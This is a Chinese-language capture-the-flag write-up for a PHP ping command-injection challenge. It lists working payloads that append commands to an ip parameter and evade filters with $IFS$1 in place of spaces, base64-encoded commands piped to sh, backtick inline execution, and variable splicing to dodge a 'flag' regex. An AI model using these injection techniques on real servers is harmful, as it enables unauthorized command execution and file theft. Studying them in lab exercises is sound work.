这题考的比较全面:
随便ping一下:
正常request了,那跟我之前做的有一题应该差不多,直接payload:
?ip=127.0.0.1;cat%20/flag
?ip=127.0.0.1;ls
还好ls了一下,不然这不得cat半天?
试一下cat index:
过滤空格了,可以用${IFS}$
代替:
可能也过滤了{}
,用$IFS$1
代替:
payload:
?ip=127.0.0.1;cat$IFS$1index.php
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
payload:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
拿到flag:
这行payload不懂可以看一下这位师傅的小结:
https://www.ghtwf01.cn/index.php/archives/273/
然后又看了别人的wp,他们说有大佬payload:
?ip=127.0.0.1;cat$IFS$1`ls`
也可以拿到flag,这行payload他们解释说:
方法名叫内联执行
方法:将反引号内命令的输出作为输入执行
然后在F12下就全部ls出来了(0110 0110 0110):
还有一种说可以拼接,我没拼出来,我的payload:
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
有点模糊,动手都试一遍:
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 有request,但没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
太疑惑了叭,为什么!我问到了再回来加,你们有人知道也可以留言,感激不尽!
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
匹配一个字符串中,是否按顺序出现过flag四个字母
这就解释了为什么我当初试a=fl;b=ag;会被过滤掉的原因。